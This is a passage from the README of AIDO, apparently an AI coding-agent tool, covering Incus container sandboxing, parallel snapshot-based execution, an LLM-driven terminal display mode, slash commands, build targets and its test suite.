-keyout ~/.config/aido/incus/prod-infra.key \
-out ~/.config/aido/incus/prod-infra.crt \
-days 3650 -nodes \
-subj "/CN=aido-client"# Server generates a one-time token
ssh your-incus-server "incus config trust add aido"
# → prints a base64 token
# Add the remote using that token
incus remote add prod-infra https://<SERVER_IP>:8443 \
--accept-certificate \
--auth-type tls \
--token <TOKEN_FROM_ABOVE>You should see: Client certificate now trusted by server: prod-infra
ssh your-incus-server "cat /var/lib/incus/server.crt" \
> ~/.config/aido/incus/prod-infra-ca.crt# List containers on the remote
incus list prod-infra:
# Launch an ephemeral container (instant on btrfs)
incus launch images:alpine/edge prod-infra:aido-test --ephemeral
incus exec prod-infra:aido-test -- echo "incus-ok"
incus delete prod-infra:aido-test --force[sandbox]
# "podman" (default) or "incus"
default_backend = "incus"
[sandbox.incus]
# Remote configured via `incus remote add`
default_remote = "prod-infra"
# Allowlist, empty list = all images denied (fail-closed)
allowed_images = [
"images:ubuntu/24.04",
"images:alpine/edge",
"images:debian/12",
]
# Resource defaults (LLM can request less, never more)
default_memory_mb = 512
default_cpu_limit = 1
default_disk_mb = 2048
default_timeout_secs = 60
# Security hardening
security_profile = "default" # AppArmor profile
no_new_privileges = true
default_network = "none" # "none" | "bridge"
# Remote connection (TLS mutual auth)
[sandbox.incus.remotes.prod-infra]
url = "https://10.0.0.5:8443"
cert = "~/.config/aido/incus/prod-infra.crt"
key = "~/.config/aido/incus/prod-infra.key"
ca = "~/.config/aido/incus/prod-infra-ca.crt"
# Local socket (no TLS needed)
[sandbox.incus.remotes.local]
url = "unix:///run/incus/unix.socket"On a btrfs-backed Incus server, new containers are created via Copy-on-Write from a base image snapshot. This means:
| Backend | Container start time |
|---|---|
| ext4 (full copy) | 5–30 seconds |
| btrfs CoW snapshot | < 200ms |
For AIDO agents that spawn many isolated containers (per-task sandboxing, multi-agent workloads), this is the difference between a usable and an unusable system.
To use an existing container as a CoW base template, create it once and snapshot it:
# Create a pre-warmed template on the btrfs server
incus launch images:ubuntu/24.04 prod-infra:template-base
incus exec prod-infra:template-base -- apt-get install -y python3 nodejs
incus snapshot prod-infra:template-base ready
# AIDO will clone from this snapshot instantly
# (set base_snapshot = "template-base/ready" in RunIncus)The LLM thinks in branches, not sequences.
The Incus backend unlocks a fundamentally different execution model: instead of trying one solution at a time and rolling back on failure, AIDO agents can fork the world, spawning N isolated containers simultaneously, each exploring a different approach, then picking the winner.
A container that lives only for the duration of the task. Files are injected before execution, collected after. The container is automatically deleted when the task ends regardless of outcome (RAII guard).
{
"type": "RunIncus",
"image": "images:ubuntu/24.04",
"remote": "prod-infra",
"command": ["sh", "-c", "cargo test 2>&1"],
"files": {
"src/lib.rs": "pub fn add(a: i32, b: i32) -> i32 { a + b }"
},
"collect_files": ["/workspace/test-report.json"],
"memory_mb": 512,
"timeout_secs": 60
}All tasks launch simultaneously (bounded by max_parallel). Results come back as a ranked list. Ideal for: running the same test suite across N OS versions, benchmarking N algorithm variants, or trying N patches and picking the first one that passes.
{
"type": "RunIncusGroup",
"remote": "prod-infra",
"max_parallel": 4,
"tasks": [
{
"id": "ubuntu-24",
"image": "images:ubuntu/24.04",
"command": ["sh", "-c", "python3 --version && python3 run_tests.py"]
},
{
"id": "alpine",
"image": "images:alpine/edge",
"command": ["sh", "-c", "python3 --version && python3 run_tests.py"]
},
{
"id": "debian-12",
"image": "images:debian/12",
"command": ["sh", "-c", "python3 --version && python3 run_tests.py"]
}
]
}Response:
{
"total": 3,
"succeeded": 2,
"failed": 1,
"results": [
{ "id": "ubuntu-24", "exit_code": 0, "stdout": "...", "duration_ms": 3200 },
{ "id": "alpine", "exit_code": 1, "stdout": "...", "duration_ms": 1800 },
{ "id": "debian-12", "exit_code": 0, "stdout": "...", "duration_ms": 2900 }
]
}Instead of launching from a raw image (slow pull), clone from a pre-warmed snapshot in < 200ms. Each clone is a fully independent container, writes in one don't affect the others.
{
"type": "RunIncusGroup",
"remote": "prod-infra",
"tasks": [
{ "id": "solution-a", "base_snapshot": "template-base/ready", "command": ["python3", "solution_a.py"] },
{ "id": "solution-b", "base_snapshot": "template-base/ready", "command": ["python3", "solution_b.py"] },
{ "id": "solution-c", "base_snapshot": "template-base/ready", "command": ["python3", "solution_c.py"] }
]
}All three clones start simultaneously from the same snapshot in < 200ms each.
A container can save its state before a risky operation using snapshot_on_exit:
{ "type": "RunIncus", "snapshot_on_exit": "before-migration", ... }If the next step fails, the LLM can roll back by launching from that snapshot:
{ "type": "RunIncus", "base_snapshot": "my-container/before-migration", ... }This gives AIDO agents a stateful, reversible execution environment, equivalent to git branches but for running processes.
The recommended pattern for solving non-trivial coding problems:
1. CreateSnapshot → checkpoint current workspace state
2. RunIncusGroup → try N solutions in parallel (all from same base_snapshot)
3. Inspect results → pick winner (exit_code=0, fastest, smallest output, ...)
4. Apply winner → copy winning files back to workspace
5. Verify → RunIncus (one final run to confirm)
Measured on the prod-infra btrfs remote:
- 4 containers launched in parallel → 5.6s total (vs ~16s sequential)
- CoW clone time: < 200ms per container
- RAII cleanup: zero zombie containers after test suite (10/10 tests, 0 leaked)
The LLM is the GPU.
Matrix Mode is an experimental display paradigm where the LLM takes full, direct control of the terminal. Instead of producing markdown or plain text, the LLM outputs structured JSON frames, character grids with per-cell styling, and the orchestrator renders them in a raw terminal canvas. The result is an LLM-native graphical interface: dashboards, games, editors, forms, art, all generated and driven entirely by the model.
No UI framework. No HTML. No widgets library. The LLM decides every pixel.
aido --matrix # launch matrix mode
make run-matrix # build + launch┌──────────────┐ JSON frame ┌──────────────┐ raw terminal ┌──────────────┐
│ │ ───────────────► │ │ ──────────────► │ │
│ LLM │ <matrix>...</matrix> │ orchestrator │ crossterm render │ terminal │
│ │ ◄─────────────── │ │ ◄────────────── │ │
│ (the brain) │ user input │ (the GPU) │ keypress/click │ (the screen) │
└──────────────┘ as JSON └──────────────┘ └──────────────┘
- The LLM outputs
<matrix>{ JSON }</matrix>frames containing a character grid - The orchestrator renders the grid in a fullscreen raw terminal (crossterm alternate screen)
- User input (keys, mouse clicks, form submissions) is captured and sent back as JSON
- The LLM receives the input and responds with a new frame
- Repeat, the LLM drives the display loop
| Feature | Description |
|---|---|
| Character grid | LLM outputs rows: [...], each string is one row of the display |
| Per-cell styling | styles: [...], hex colors (#00dfa8), bold, dim, fg/bg per region |
| Editable fields | fields: [...], inline text inputs with Tab navigation, Enter to submit |
| Mouse support | Click events sent as {"type": "click", "row": R, "col": C, "row_text": "..."} |
| Input modes | line (readline), char (single key), fields (form), none (display only) |
| Multi-action chaining | LLM can send multiple <action> blocks, executed sequentially, results batched |
| Watch / Crontab | <watch> blocks for scheduled recurring actions with trigger conditions |
| Slash commands | /clear /cost /help /quit /undo, intercepted before LLM |
| Token tracking | Live token count in status bar and spinner |
| Dual consoles | Macro log (left, actions sent) + Micro log (right, results received) |
| Streaming | Live character count in status bar while the LLM generates the frame |
| Frame caching | On LLM error, redisplays last valid frame and retries silently |
| Progressive reveal | Frames render row-by-row with a cascade animation |
| Bridge integration | LLM can execute aido-runtime actions (read files, run commands) and display results |
| Prompt caching | Anthropic prompt caching enabled, 2x faster, 90% cheaper after 1st call |
| Multi-provider | Interactive picker at startup: Anthropic, OpenAI/Groq/OpenRouter, Ollama |
| Anti-hallucination | System prompt enforces real data only, no fabricated system output |
{
"rows": [
"╔══════════════════════╗",
"║ Hello, Matrix! ║",
"╚══════════════════════╝"
],
"styles": [
{"row": 1, "col": 4, "len": 14, "fg": "#00dfa8", "bold": true}
],
"fields": [
{"id": "name", "row": 3, "col": 8, "len": 20, "value": "", "placeholder": "type here"}
],
"input_mode": "fields",
"cursor": {"row": 3, "col": 8},
"status": "Ready",
"clear": true
}| Event | Format |
|---|---|
| Init | {"type": "init"} or {"type": "init", "request": "build a snake game"} |
| Key press | {"type": "key", "value": "a"} |
| Line input | {"type": "line", "value": "hello"} |
| Mouse click | {"type": "click", "row": 5, "col": 12} |
| Form submit | {"type": "submit", "fields": {"name": "John", "age": "25"}} |
| Resize | {"type": "resize", "cols": 120, "rows": 40} |
| Tick | {"type": "tick"} (in none mode) |
The LLM can draw anything that fits in a character grid:
- System dashboards, CPU/RAM/disk bars, process tables, network stats
- Games, Snake, Tetris, Minesweeper, roguelikes, text adventures
- File browsers, navigate directories, preview files
- Editors, text editing with syntax highlighting
- Forms, multi-field input with validation
- Art, ASCII art, animations, visualizers
- Chat UIs, messaging interfaces, chatbot frontends
aido --matrix # interactive provider/model/interface picker
aido --matrix --provider ollama # skip to Ollama directly
aido --matrix --provider anthropic # skip to Anthropic directly
aido --matrix --provider openai-compat # OpenAI/Groq/OpenRouterLike CLAUDE.md, a markdown file loaded automatically at boot and injected into the system prompt. The LLM knows your project conventions.
# AIDO.md
- This is a Rust workspace with two crates: aido-runtime and aido-orchestrator.
- Always run `cargo check` after modifications.
- Use snake_case for all identifiers.
- Never modify files in the `vendor/` directory.Searched locations (in order):
AIDO.mdin project root.aido/AIDO.md.aido/rules.md.aido/rules/*.md(all files, sorted alphabetically)
Run a single prompt and exit, for CI/CD, scripts, and piping:
# Single prompt
aido -p "list all TODO comments in the codebase"
# Pipe stdin as context
cat stacktrace.log | aido --stdin -p "explain and fix"
# @file references, inject file contents inline
aido -p "review @src/auth.rs for security issues"
# JSON output for scripting
aido -p "what is the OS" --output-format jsonContinuous agent loop, the LLM works independently with auto git checkpoints:
aido --auto-mode # default 50 iterations
aido --auto-mode --max-iterations 100 # custom limitEvery 10 iterations, AIDO auto-commits (git add -A && git commit). Ctrl+C to stop gracefully.
| Command | Description |
|---|---|
/help |
Show all commands |
/history |
Full expanded conversation history (actions, results, messages) |
/export [name] |
Export session as JSON (for audit & LLM fine-tuning) |
/matrix [request] |
Enter Matrix Mode, optional request to auto-build a dashboard |
/diff |
git diff --stat |
/log [n] |
git log --oneline (default 20) |
/commit [msg] |
git add -A + git commit |
/undo |
git checkout -- . (revert all changes) |
/stash [pop] |
git stash push/pop |
/read <file> |
Inject file into context |
/clear |
Reset conversation |
/cost |
Token usage & estimated cost |
/auto |
Toggle auto-confirm |
/compact |
Toggle compact system prompt |
/until <cmd> |
Goal-driven loop, agent retries until command passes (exit 0) |
/snapshot <name> |
Save file state |
/restore <name> |
Restore file state |
/actions |
List all aido-runtime actions |
/policy <json> |
Check if an action would be allowed by the policy engine |
/pulse |
System health dashboard |
/target [mode] |
Show or switch execution target (local/sandbox/ssh) |
/handles |
List active async handles |
/check <id> |
Check/drain handle events |
/stop <id> |
Cancel an active handle |
/quit |
Exit |
| Key | Action |
|---|---|
F1 |
Help |
F2 |
Setup wizard |
F3 |
Clear conversation |
F4 |
Switch to Ollama |
F5 |
Switch to Anthropic |
F6 |
Switch to OpenAI-compat |
F7 |
Toggle raw JSON data view |
F8 |
Toggle auto-confirm |
F9 |
Toggle compact prompt |
Tab |
Collapse/expand console |
Esc × 2 |
Cancel current action |
PgUp / PgDn |
Scroll data pane |
Shift+PgUp/PgDn |
Scroll console |
Ctrl+C |
Quit |
make build build debug
make release build release
make install install to ~/.cargo/bin
make run local mode (CLI)
make run-tui local mode (TUI)
make run-matrix matrix mode (LLM-controlled canvas)
make run-mcp run aido-runtime as MCP server
make run-incus Incus container (isolated CLI)
make run-incus-matrix Incus container (isolated Matrix mode)
make test unit tests only
make test-all full suite: unit + scenarios + Incus
make test-matrix run matrix mode unit tests only
make test-desktop desktop/Wayland tests (requires grim, wlrctl, wtype)
make scenarios-incus Incus scenarios only
make dev watch + rebuild on save
make demo send 3 scripted commands for quick testing
make demo-undo "Undo Agent", agent destroys, AIDO restores in ~3 ms
make demo-undo-fast same as above, no pauses (for screencasts)
Three-tier test suite, all run without an LLM:
make test-all # runs everything| Tier | What | Count | Speed |
|---|---|---|---|
| Unit tests | cargo test --workspace |
~340 tests | ~5s |
| Scenario suite | JSON-driven in-process harness | 175 cases across 11 categories | ~1s |
| Incus integration | Real containers on a remote Incus server | 13 tests | ~80s |
| Category | Tests | Description |
|---|---|---|
composites |
10 | DefinePrimitive/CallPrimitive lifecycle |
edge_cases |
22 | Empty paths, nonexistent files, zero timeouts |
happy_path |
42 | Full CRUD, git, system info, memory |
human_interaction |
12 | AskHuman, Confirm, QCM with scripted responses |
malformed |
18 | Invalid JSON, missing fields, wrong types |
pipeline |
5 | Sequential multi-step execution |
pipeline_advanced |
12 | Parallel, stop_on_error, snapshot, nested rejection |
policy_violations |
22 | Path traversal, forbidden commands, SSRF, secrets |
qcm |
16 | AskMultipleChoice: skip, other, out-of-range |
snapshots |
9 | Create/restore/delete/list snapshots |
try_rollback |
7 | Transactional execution with automatic rollback |
When --incus is set with a non-local remote, the scenario runner probes connectivity with a 5s timeout before running any container tests. If the remote is unreachable, Incus tests are skipped with a warning instead of failing with 20s timeouts per test:
⚠ Incus remote 'prod-infra' is unreachable, skipping Incus scenarios
Fix: incus remote list | check server at remote 'prod-infra'
aido/
├── aido-mcp/ # Shared MCP / JSON-RPC plumbing (wire-level only)
│ └── src/
│ ├── jsonrpc.rs # JSON-RPC 2.0 types + error codes
│ ├── transport.rs # Line-delimited stdio transport
│ └── child_client.rs # Spawn + speak MCP to a downstream server
├── aido-runtime/ # Executor crate, zero AI, typed primitives only
│ ├── src/
│ │ ├── action.rs # Action enum (122 variants)
│ │ ├── result.rs # ActionResult / ActionOutput
│ │ ├── policy.rs # PolicyEngine
│ │ ├── config.rs # AppConfig
│ │ ├── mcp/ # MCP server (tools/list, tools/call…)
│ │ └── executor/ # One file per primitive category
│ ├── bin/aido-scenario-runner/ # JSON-driven test harness binary
│ └── tests/scenarios/ # 175+ JSON test scenarios
├── aido-orchestrator/ # Orchestrator library + headless serve binary
│ ├── src/
│ │ ├── lib.rs # Public modules (consumed by aido-code)
│ │ ├── main.rs # `aido-orchestrator` headless HTTP/SSE binary
│ │ ├── mcp_server.rs # MCP gateway, proxifies runtime + native sysaicalls
│ │ ├── tui_mode.rs # TUI frontend (ratatui)
│ │ ├── matrix_mode.rs # Matrix mode (LLM-controlled canvas)
│ │ ├── agent_loop.rs # LLM → parse → dispatch → collapse cycle
│ │ │ # Orchestrator-first Pipeline interception
│ │ ├── loop_tracker.rs # T11 repeated-action circuit breaker
│ │ ├── sysaicalls.rs # SpawnWorld / WaitAgent / ListAgents dispatch
│ │ ├── incus_actions.rs # Host-side Incus dispatch (privilege boundary)
│ │ ├── subagent.rs # Parallel isolated agent tasks
│ │ ├── session.rs # JSONL audit logger
│ │ ├── terminal.rs # Display formatting, /history renderer
│ │ ├── project.rs # Project detection, AIDO.md, @file, indexing
│ │ ├── slash.rs # Slash commands (/commit, /export, /matrix…)
│ │ ├── config.rs # Config management (TOML + env)
│ │ └── bridge.rs # stdio/HTTP/sandbox bridge
│ └── aido-orchestrator.toml
└── aido-code/ # `aido` CLI binary, wraps the orchestrator library
└── src/
└── main.rs # `aido` entry point (CLI/TUI/Matrix, -p, --auto, --stdin)
~/.aido/ # User data directory
├── sessions/ # Auto JSONL audit logs (per session)
│ └── 2026-04-16_02-12.jsonl
├── exports/ # Manual JSON exports (/export)
│ └── session_2026-04-16.json
├── history # readline history
└── config/ # User overrides
See CONTRIBUTING.md for development setup and guidelines.
See SECURITY.md for the security model and vulnerability reporting.
Apache 2.0, see LICENSE.
